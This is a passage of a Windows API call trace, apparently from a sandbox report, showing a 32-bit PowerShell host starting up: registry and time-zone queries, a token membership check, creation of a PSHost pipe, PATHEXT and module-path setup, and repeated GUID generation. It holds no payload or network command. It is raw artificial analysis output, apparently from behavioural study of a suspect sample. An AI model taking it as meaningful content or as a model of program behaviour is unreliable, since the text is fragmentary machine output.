phkResult=0x103d41c*=0x0) returned 0x2 [0207.561] RegQueryValueExW (in: hKey=0x288, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x103d5bc, lpData=0x0, lpcbData=0x103d5b8*=0x0 | out: lpType=0x103d5bc*=0x1, lpData=0x0, lpcbData=0x103d5b8*=0x20) returned 0x0 [0207.561] RegQueryValueExW (in: hKey=0x288, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x103d5bc, lpData=0x50b58d0, lpcbData=0x103d5b8*=0x20 | out: lpType=0x103d5bc*=0x1, lpData="@tzres.dll,-320", lpcbData=0x103d5b8*=0x20) returned 0x0 [0207.561] RegQueryValueExW (in: hKey=0x288, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x103d5bc, lpData=0x0, lpcbData=0x103d5b8*=0x0 | out: lpType=0x103d5bc*=0x1, lpData=0x0, lpcbData=0x103d5b8*=0x20) returned 0x0 [0207.561] RegQueryValueExW (in: hKey=0x288, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x103d5bc, lpData=0x50b5928, lpcbData=0x103d5b8*=0x20 | out: lpType=0x103d5bc*=0x1, lpData="@tzres.dll,-322", lpcbData=0x103d5b8*=0x20) returned 0x0 [0207.561] RegQueryValueExW (in: hKey=0x288, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x103d5bc, lpData=0x0, lpcbData=0x103d5b8*=0x0 | out: lpType=0x103d5bc*=0x1, lpData=0x0, lpcbData=0x103d5b8*=0x20) returned 0x0 [0207.561] RegQueryValueExW (in: hKey=0x288, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x103d5bc, lpData=0x50b5980, lpcbData=0x103d5b8*=0x20 | out: lpType=0x103d5bc*=0x1, lpData="@tzres.dll,-321", lpcbData=0x103d5b8*=0x20) returned 0x0 [0207.565] CoTaskMemAlloc (cb=0x20c) returned 0x76a4478 [0207.565] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x76a4478 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0207.565] CoTaskMemFree (pv=0x76a4478) [0207.565] CoTaskMemAlloc (cb=0x20c) returned 0x76a4478 [0207.565] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\WINDOWS\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x103d5d8, pwszFileMUIPath=0x76a4478, pcchFileMUIPath=0x103d5dc, pululEnumerator=0x103d5d0 | out: pwszLanguage=0x0, pcchLanguage=0x103d5d8, pwszFileMUIPath="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x103d5dc, pululEnumerator=0x103d5d0) returned 1 [0207.569] CoTaskMemFree (pv=0x0) [0207.569] CoTaskMemFree (pv=0x76a4478) [0207.570] LoadLibraryExW (lpLibFileName="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x7310001 [0207.574] CoTaskMemAlloc (cb=0x3ec) returned 0x7706b00 [0207.574] LoadStringW (in: hInstance=0x7310001, uID=0x140, lpBuffer=0x7706b00, cchBufferMax=500 | out: lpBuffer="(UTC+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna") returned 0x3c [0207.574] CoTaskMemFree (pv=0x7706b00) [0207.575] FreeLibrary (hLibModule=0x7310001) returned 1 [0207.575] CoTaskMemAlloc (cb=0x20c) returned 0x76a4478 [0207.575] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x76a4478 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0207.575] CoTaskMemFree (pv=0x76a4478) [0207.575] CoTaskMemAlloc (cb=0x20c) returned 0x76a4478 [0207.575] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\WINDOWS\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x103d5d8, pwszFileMUIPath=0x76a4478, pcchFileMUIPath=0x103d5dc, pululEnumerator=0x103d5d0 | out: pwszLanguage=0x0, pcchLanguage=0x103d5d8, pwszFileMUIPath="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x103d5dc, pululEnumerator=0x103d5d0) returned 1 [0207.576] CoTaskMemFree (pv=0x0) [0207.576] CoTaskMemFree (pv=0x76a4478) [0207.576] LoadLibraryExW (lpLibFileName="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x7310001 [0207.577] CoTaskMemAlloc (cb=0x3ec) returned 0x7706b00 [0207.577] LoadStringW (in: hInstance=0x7310001, uID=0x142, lpBuffer=0x7706b00, cchBufferMax=500 | out: lpBuffer="W. Europe Standard Time") returned 0x17 [0207.577] CoTaskMemFree (pv=0x7706b00) [0207.577] FreeLibrary (hLibModule=0x7310001) returned 1 [0207.577] CoTaskMemAlloc (cb=0x20c) returned 0x76a4478 [0207.577] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x76a4478 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0207.578] CoTaskMemFree (pv=0x76a4478) [0207.578] CoTaskMemAlloc (cb=0x20c) returned 0x76a4478 [0207.578] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\WINDOWS\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x103d5d8, pwszFileMUIPath=0x76a4478, pcchFileMUIPath=0x103d5dc, pululEnumerator=0x103d5d0 | out: pwszLanguage=0x0, pcchLanguage=0x103d5d8, pwszFileMUIPath="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x103d5dc, pululEnumerator=0x103d5d0) returned 1 [0207.579] CoTaskMemFree (pv=0x0) [0207.579] CoTaskMemFree (pv=0x76a4478) [0207.579] LoadLibraryExW (lpLibFileName="C:\\WINDOWS\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x7310001 [0207.579] CoTaskMemAlloc (cb=0x3ec) returned 0x7706b00 [0207.579] LoadStringW (in: hInstance=0x7310001, uID=0x141, lpBuffer=0x7706b00, cchBufferMax=500 | out: lpBuffer="W. Europe Daylight Time") returned 0x17 [0207.579] CoTaskMemFree (pv=0x7706b00) [0207.579] FreeLibrary (hLibModule=0x7310001) returned 1 [0207.580] RegCloseKey (hKey=0x288) returned 0x0 [0207.586] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x60694e8, Length=0x27500, ResultLength=0x103d7f8 | out: SystemInformation=0x60694e8, ResultLength=0x103d7f8*=0x1adb0) returned 0x0 [0207.655] CreateWellKnownSid (in: WellKnownSidType=0x1a, DomainSid=0x0, pSid=0x50e1934, cbSid=0x103d828 | out: pSid=0x50e1934*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), cbSid=0x103d828) returned 1 [0207.657] GetCurrentProcess () returned 0xffffffff [0207.657] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x103d7d4 | out: TokenHandle=0x103d7d4*=0x288) returned 1 [0207.658] GetTokenInformation (in: TokenHandle=0x288, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x103d7d8 | out: TokenInformation=0x0, ReturnLength=0x103d7d8) returned 0 [0207.658] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x7656ee8 [0207.658] GetTokenInformation (in: TokenHandle=0x288, TokenInformationClass=0x8, TokenInformation=0x7656ee8, TokenInformationLength=0x4, ReturnLength=0x103d7d8 | out: TokenInformation=0x7656ee8, ReturnLength=0x103d7d8) returned 1 [0207.658] LocalFree (hMem=0x7656ee8) returned 0x0 [0207.658] DuplicateTokenEx (in: hExistingToken=0x288, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x103d7e0 | out: phNewToken=0x103d7e0*=0x654) returned 1 [0207.658] CheckTokenMembership (in: TokenHandle=0x654, SidToCheck=0x50e1e54*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x103d7f0 | out: IsMember=0x103d7f0) returned 1 [0207.658] CloseHandle (hObject=0x654) returned 1 [0207.663] CreateNamedPipeW (lpName="\\\\.\\pipe\\PSHost.132328421295396983.2512.DefaultAppDomain.powershell" (normalized: "\\device\\namedpipe\\pshost.132328421295396983.2512.defaultappdomain.powershell"), dwOpenMode=0x40080003, dwPipeMode=0x6, nMaxInstances=0x1, nOutBufferSize=0x8000, nInBufferSize=0x8000, nDefaultTimeOut=0x0, lpSecurityAttributes=0x103d794) returned 0x654 [0207.765] GetFileType (hFile=0x654) returned 0x3 [0208.627] CoTaskMemAlloc (cb=0x20c) returned 0x7706b00 [0208.627] GetEnvironmentVariableW (in: lpName="PathEXT", lpBuffer=0x7706b00, nSize=0x104 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0208.627] CoTaskMemFree (pv=0x7706b00) [0208.638] SetEnvironmentVariableW (lpName="PathEXT", lpValue=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 1 [0211.467] CoCreateGuid (in: pguid=0x103d640 | out: pguid=0x103d640*(Data1=0x42ff2a64, Data2=0xbbce, Data3=0x470e, Data4=([0]=0x89, [1]=0xdc, [2]=0x2a, [3]=0x23, [4]=0x81, [5]=0x3a, [6]=0x93, [7]=0x8d))) returned 0x0 [0213.000] CoTaskMemAlloc (cb=0x20c) returned 0x76ff880 [0213.000] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x76ff880, nSize=0x104 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0x5d [0213.000] CoTaskMemFree (pv=0x76ff880) [0213.001] ExpandEnvironmentStringsW (in: lpSrc="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", lpDst=0x103e49c, nSize=0x64 | out: lpDst="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0x5e [0213.001] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x103e578 | out: phkResult=0x103e578*=0x684) returned 0x0 [0213.002] RegQueryValueExW (in: hKey=0x684, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x103e594, lpData=0x0, lpcbData=0x103e590*=0x0 | out: lpType=0x103e594*=0x2, lpData=0x0, lpcbData=0x103e590*=0xbc) returned 0x0 [0213.002] RegQueryValueExW (in: hKey=0x684, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x103e594, lpData=0x5135b5c, lpcbData=0x103e590*=0xbc | out: lpType=0x103e594*=0x2, lpData="%ProgramFiles%\\WindowsPowerShell\\Modules;%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules", lpcbData=0x103e590*=0xbc) returned 0x0 [0213.002] ExpandEnvironmentStringsW (in: lpSrc="%ProgramFiles%", lpDst=0x103e3f8, nSize=0x64 | out: lpDst="C:\\Program Files (x86)") returned 0x17 [0213.003] ExpandEnvironmentStringsW (in: lpSrc="%\\WindowsPowerShell\\Modules;%", lpDst=0x103e3f8, nSize=0x64 | out: lpDst="%\\WindowsPowerShell\\Modules;%") returned 0x1e [0213.003] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x103e3f8, nSize=0x64 | out: lpDst="C:\\WINDOWS") returned 0xb [0213.003] ExpandEnvironmentStringsW (in: lpSrc="%ProgramFiles%\\WindowsPowerShell\\Modules;%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules", lpDst=0x103e3f8, nSize=0x64 | out: lpDst="C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0x64 [0213.003] RegCloseKey (hKey=0x684) returned 0x0 [0213.003] ExpandEnvironmentStringsW (in: lpSrc="C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", lpDst=0x103e49c, nSize=0x64 | out: lpDst="C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0x64 [0213.004] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x103e578 | out: phkResult=0x103e578*=0x684) returned 0x0 [0213.004] RegQueryValueExW (in: hKey=0x684, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x103e594, lpData=0x0, lpcbData=0x103e590*=0x0 | out: lpType=0x103e594*=0x0, lpData=0x0, lpcbData=0x103e590*=0x0) returned 0x2 [0213.004] RegCloseKey (hKey=0x684) returned 0x0 [0213.005] CoTaskMemAlloc (cb=0x20c) returned 0x76ff880 [0213.005] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x76ff880 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0213.005] CoTaskMemFree (pv=0x76ff880) [0213.005] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0213.005] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0213.007] CoTaskMemAlloc (cb=0x20c) returned 0x76ff880 [0213.007] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x76ff880, nSize=0x104 | out: lpBuffer="?ݩㄨğrogram Files (x86)") returned 0x0 [0213.007] CoTaskMemFree (pv=0x76ff880) [0213.007] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x103e538 | out: phkResult=0x103e538*=0x684) returned 0x0 [0213.008] RegQueryValueExW (in: hKey=0x684, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x103e558, lpData=0x0, lpcbData=0x103e554*=0x0 | out: lpType=0x103e558*=0x1, lpData=0x0, lpcbData=0x103e554*=0x56) returned 0x0 [0213.008] RegQueryValueExW (in: hKey=0x684, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x103e558, lpData=0x51376a0, lpcbData=0x103e554*=0x56 | out: lpType=0x103e558*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x103e554*=0x56) returned 0x0 [0213.008] RegCloseKey (hKey=0x684) returned 0x0 [0213.008] ExpandEnvironmentStringsW (in: lpSrc="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules", lpDst=0x103e480, nSize=0x64 | out: lpDst="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules") returned 0x33 [0213.010] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0213.011] GetProcAddress (hModule=0x772d0000, lpProcName="IsWow64Process") returned 0x772e5a20 [0213.011] GetCurrentProcess () returned 0xffffffff [0213.012] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x103e5d4 | out: Wow64Process=0x103e5d4) returned 1 [0213.012] CoTaskMemAlloc (cb=0x20c) returned 0x76ff880 [0213.012] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x76ff880 | out: pszPath="C:\\Users\\FD1HVy\\Documents") returned 0x0 [0213.015] CoTaskMemFree (pv=0x76ff880) [0213.015] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0213.015] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x1a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0213.015] SetEnvironmentVariableW (lpName="PSMODULEPATH", lpValue="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 1 [0213.217] CoTaskMemAlloc (cb=0x20c) returned 0x76ff880 [0213.217] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x76ff880, nSize=0x104 | out: lpBuffer="?ݩㄨğsers\\FD1HVy\\Documents") returned 0x0 [0213.217] CoTaskMemFree (pv=0x76ff880) [0213.992] EtwEventRegister (in: ProviderId=0x5151e18, EnableCallback=0x7242d56, CallbackContext=0x0, RegHandle=0x5151df4 | out: RegHandle=0x5151df4) returned 0x0 [0213.992] EtwEventSetInformation (RegHandle=0x761b8a0, InformationClass=0x54, EventInformation=0x2, InformationLength=0x5151da8) returned 0x0 [0214.505] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x103de68 | out: phkResult=0x103de68*=0x69c) returned 0x0 [0214.509] RegQueryValueExW (in: hKey=0x69c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x103de88, lpData=0x0, lpcbData=0x103de84*=0x0 | out: lpType=0x103de88*=0x1, lpData=0x0, lpcbData=0x103de84*=0x56) returned 0x0 [0214.509] RegQueryValueExW (in: hKey=0x69c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x103de88, lpData=0x5154118, lpcbData=0x103de84*=0x56 | out: lpType=0x103de88*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x103de84*=0x56) returned 0x0 [0214.509] RegCloseKey (hKey=0x69c) returned 0x0 [0214.828] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0xb2891186, Data2=0xc658, Data3=0x44c3, Data4=([0]=0xb6, [1]=0x97, [2]=0xd7, [3]=0xef, [4]=0x77, [5]=0x88, [6]=0xd2, [7]=0x6a))) returned 0x0 [0214.828] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x6fa477f0, Data2=0x7336, Data3=0x42e3, Data4=([0]=0x83, [1]=0x9e, [2]=0xaf, [3]=0xc4, [4]=0x46, [5]=0x96, [6]=0x79, [7]=0x88))) returned 0x0 [0214.829] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x3278daf9, Data2=0xcc4b, Data3=0x4b55, Data4=([0]=0x80, [1]=0x7e, [2]=0xd, [3]=0x9, [4]=0xfa, [5]=0x87, [6]=0xd8, [7]=0x37))) returned 0x0 [0214.829] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x3844f93, Data2=0xf722, Data3=0x4915, Data4=([0]=0xa2, [1]=0x3b, [2]=0xa3, [3]=0x7f, [4]=0xac, [5]=0x80, [6]=0xdf, [7]=0xd6))) returned 0x0 [0214.829] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x25a3b74b, Data2=0xac88, Data3=0x4b59, Data4=([0]=0x87, [1]=0x72, [2]=0x98, [3]=0x68, [4]=0x6, [5]=0x55, [6]=0x69, [7]=0x42))) returned 0x0 [0214.829] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x334534a0, Data2=0xf6e7, Data3=0x4bb2, Data4=([0]=0xb1, [1]=0x59, [2]=0x40, [3]=0x37, [4]=0x6b, [5]=0x83, [6]=0xd7, [7]=0x38))) returned 0x0 [0214.829] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x8f02a543, Data2=0xae6d, Data3=0x4047, Data4=([0]=0x89, [1]=0xaf, [2]=0x1f, [3]=0xe, [4]=0xbe, [5]=0x5a, [6]=0x7f, [7]=0x67))) returned 0x0 [0214.829] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0xe9da5247, Data2=0x25a8, Data3=0x4057, Data4=([0]=0xbe, [1]=0x67, [2]=0xdd, [3]=0x11, [4]=0x25, [5]=0x0, [6]=0xfb, [7]=0x3f))) returned 0x0 [0215.135] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0xb902af84, Data2=0xce1b, Data3=0x42c1, Data4=([0]=0xa0, [1]=0x4, [2]=0xc0, [3]=0xb9, [4]=0x3b, [5]=0x1a, [6]=0x46, [7]=0x9d))) returned 0x0 [0215.135] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x12a22db1, Data2=0x180d, Data3=0x4d1c, Data4=([0]=0x97, [1]=0xca, [2]=0x53, [3]=0x46, [4]=0x33, [5]=0x3, [6]=0x38, [7]=0x78))) returned 0x0 [0215.135] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x8c9b02c6, Data2=0x11d3, Data3=0x4db4, Data4=([0]=0xa5, [1]=0x21, [2]=0xcf, [3]=0x8f, [4]=0xe0, [5]=0x7f, [6]=0xb6, [7]=0x57))) returned 0x0 [0215.135] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x48b959f5, Data2=0x5000, Data3=0x4929, Data4=([0]=0xa5, [1]=0x99, [2]=0x47, [3]=0x46, [4]=0xde, [5]=0x3b, [6]=0x9, [7]=0xb3))) returned 0x0 [0215.135] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x17807860, Data2=0xc751, Data3=0x4ea4, Data4=([0]=0x88, [1]=0x7c, [2]=0xdd, [3]=0x89, [4]=0x52, [5]=0x3b, [6]=0x34, [7]=0xcb))) returned 0x0 [0215.135] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0xb965d49a, Data2=0x374, Data3=0x4e2e, Data4=([0]=0xba, [1]=0xa2, [2]=0x28, [3]=0xc4, [4]=0x88, [5]=0xce, [6]=0x2e, [7]=0x6e))) returned 0x0 [0215.136] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0xe01cf58b, Data2=0x7fb, Data3=0x4194, Data4=([0]=0xb2, [1]=0x7a, [2]=0xec, [3]=0xd, [4]=0xed, [5]=0x26, [6]=0x2e, [7]=0xd3))) returned 0x0 [0215.136] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0xa4c15cf6, Data2=0x190e, Data3=0x48eb, Data4=([0]=0xa9, [1]=0x3f, [2]=0xca, [3]=0x66, [4]=0xfe, [5]=0x5f, [6]=0xa6, [7]=0xf1))) returned 0x0 [0215.136] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0xac6437ec, Data2=0xafc3, Data3=0x4520, Data4=([0]=0xa3, [1]=0xf0, [2]=0xb3, [3]=0x88, [4]=0x10, [5]=0xdb, [6]=0xf3, [7]=0xde))) returned 0x0 [0215.136] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x7295f9ce, Data2=0x8b7f, Data3=0x4577, Data4=([0]=0xb9, [1]=0x50, [2]=0xb, [3]=0x1, [4]=0xc2, [5]=0x7d, [6]=0x5e, [7]=0x80))) returned 0x0 [0215.145] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x4860e02a, Data2=0xa388, Data3=0x4b37, Data4=([0]=0xb2, [1]=0xe4, [2]=0x32, [3]=0x67, [4]=0xb0, [5]=0xcb, [6]=0xa8, [7]=0x95))) returned 0x0 [0215.146] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x202ac378, Data2=0x6a78, Data3=0x447e, Data4=([0]=0xa7, [1]=0x52, [2]=0x6e, [3]=0x3f, [4]=0xed, [5]=0xfb, [6]=0x67, [7]=0x36))) returned 0x0 [0215.146] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0xb494f797, Data2=0x33ea, Data3=0x4657, Data4=([0]=0x8d, [1]=0x52, [2]=0xa4, [3]=0xda, [4]=0xec, [5]=0xa3, [6]=0x8d, [7]=0x79))) returned 0x0 [0215.147] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0xf635f4d8, Data2=0x726f, Data3=0x4b65, Data4=([0]=0xbe, [1]=0xbf, [2]=0xcf, [3]=0x14, [4]=0xcc, [5]=0xd8, [6]=0xb2, [7]=0x6d))) returned 0x0 [0215.147] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x5a8879e4, Data2=0x965b, Data3=0x4972, Data4=([0]=0x91, [1]=0xd8, [2]=0x85, [3]=0xd9, [4]=0x89, [5]=0x98, [6]=0x12, [7]=0x7e))) returned 0x0 [0215.147] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x66e0f02b, Data2=0xde10, Data3=0x4a86, Data4=([0]=0x88, [1]=0xba, [2]=0x40, [3]=0x70, [4]=0x8f, [5]=0x9e, [6]=0xbb, [7]=0x47))) returned 0x0 [0215.147] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x5ae7df22, Data2=0x34d1, Data3=0x4f82, Data4=([0]=0x8f, [1]=0xf3, [2]=0x90, [3]=0xdc, [4]=0x99, [5]=0xc0, [6]=0x23, [7]=0x46))) returned 0x0 [0215.147] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0xf7d15cff, Data2=0x7b44, Data3=0x4015, Data4=([0]=0xba, [1]=0x51, [2]=0xdc, [3]=0xcd, [4]=0xb9, [5]=0x5, [6]=0x55, [7]=0xdf))) returned 0x0 [0215.147] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x519abc13, Data2=0xbd27, Data3=0x4910, Data4=([0]=0xb3, [1]=0xb4, [2]=0xe1, [3]=0xf, [4]=0x22, [5]=0x99, [6]=0x64, [7]=0x2a))) returned 0x0 [0215.148] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x7b5c761e, Data2=0xe911, Data3=0x4ddd, Data4=([0]=0x80, [1]=0x4c, [2]=0x2f, [3]=0xb0, [4]=0x9c, [5]=0x26, [6]=0x6e, [7]=0x10))) returned 0x0 [0215.148] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0xacd66a8f, Data2=0xe8da, Data3=0x4077, Data4=([0]=0xb7, [1]=0xa9, [2]=0x71, [3]=0xad, [4]=0xdc, [5]=0x72, [6]=0x6e, [7]=0x6d))) returned 0x0 [0215.148] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x48ceaee7, Data2=0xd73b, Data3=0x403d, Data4=([0]=0x91, [1]=0xcd, [2]=0xb9, [3]=0xac, [4]=0x8d, [5]=0x1, [6]=0x5d, [7]=0xf7))) returned 0x0 [0215.148] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0xf26756a4, Data2=0x1d3e, Data3=0x494f, Data4=([0]=0x8f, [1]=0x54, [2]=0x61, [3]=0x60, [4]=0x3c, [5]=0xbb, [6]=0x2a, [7]=0xdb))) returned 0x0 [0215.148] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0xee4ecf9f, Data2=0x8cc9, Data3=0x4640, Data4=([0]=0xb9, [1]=0xa5, [2]=0x3b, [3]=0x1, [4]=0xf, [5]=0x98, [6]=0xf9, [7]=0x92))) returned 0x0 [0215.148] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0xc9b61472, Data2=0x89e4, Data3=0x411e, Data4=([0]=0xa6, [1]=0xec, [2]=0x13, [3]=0x90, [4]=0xbb, [5]=0x90, [6]=0x70, [7]=0x18))) returned 0x0 [0215.148] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x218efb5d, Data2=0x94cb, Data3=0x44d3, Data4=([0]=0xa8, [1]=0xaa, [2]=0x12, [3]=0xc6, [4]=0xd6, [5]=0xc9, [6]=0xb6, [7]=0xba))) returned 0x0 [0215.173] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0x8712b7f5, Data2=0xb015, Data3=0x4322, Data4=([0]=0xb8, [1]=0xe5, [2]=0x4b, [3]=0x65, [4]=0x2d, [5]=0x92, [6]=0x80, [7]=0xfa))) returned 0x0 [0215.175] CoCreateGuid (in: pguid=0x103bd14 | out: pguid=0x103bd14*(Data1=0xda7c0222, Data2=0x7738, Data3=0x4717, Data4=([0]=0x99, [1]=0xa, [2]=0x6f, [3]=0xac, [4]=0xc6, [5]=0x4a, [6]=0x7c, [7]=0xa3))) returned 0x0 [0215.175] 